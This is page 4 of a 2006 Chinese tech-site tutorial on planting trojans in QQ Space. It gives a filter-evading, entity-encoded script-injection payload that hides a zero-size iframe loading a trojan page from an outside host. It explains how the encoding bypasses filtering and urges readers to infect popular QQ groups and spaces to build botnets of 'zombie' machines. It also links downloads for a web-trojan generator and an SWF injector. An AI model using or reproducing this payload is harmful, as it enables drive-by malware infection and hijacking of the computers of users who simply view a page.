高手讲述QQ挂马大揭密(4)

中华网科技 http://tech.china.com 2006-07-04 14:26:29

【进入BBS】【进入聊天室】【 推荐给朋友 】【浏览字号：大 中 小】【关闭窗口】

　　
方法二：挂网页木马

上面的方法是直接在QQ空间中挂上一个Flash木马文件，实现的方法虽然比较简单，不过这个Flash文件有可能会让别人起疑心。既然我们可以在QQ空间中写入自定义代码，何不干脆直接挂上网页木马呢？
用上面同样的方法新建一个模块，代码如下：

“<div id=DI><img src="javascri&#112;t:DI.&#105;nnerHTML=‘<&#105;frame src="http://www.binghewu.com.cn/muma.htm" width=190 height=190 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></&#105;frame>‘" style=display:none></div>”

同样的，在上面的代码中已经作了ASCII码转换躲过过滤；“http://www.binghewu.com.cn/muma.htm”是网页木马的链接地址，可以换成其它木马网页地址。代码中的其它语句是用来定义模块大小的，由于设置为0，该模块将在QQ空间中被隐藏，但是并不影响木马网页的打开与运行。这里为了说明攻击效果，笔者对代码作了一些修改，将木马网页显示为新浪首页，说明完全可以在QQ空间中打开其它木马网页的（如图7）。

图7

怎么样，在QQ群和QQ空间中挂马是不是很简单？掌握了这个方法，只要在比较火一点的QQ群或QQ空间中挂上你的木马，你很快就可以肉鸡成群了！

下载地址：

网页木马生成器 http://www.hackol.com/down.asp?id=4141&downid=0
SWF插入机 http://www.25hack.com/heike/soft/107/108/111/

首页 上页 | ...1| 2 | 3 | 4 | 下页 尾页  共 4 页

【发表评论】

作者：网友世界　来源：

网页 新闻 音乐 图片 论坛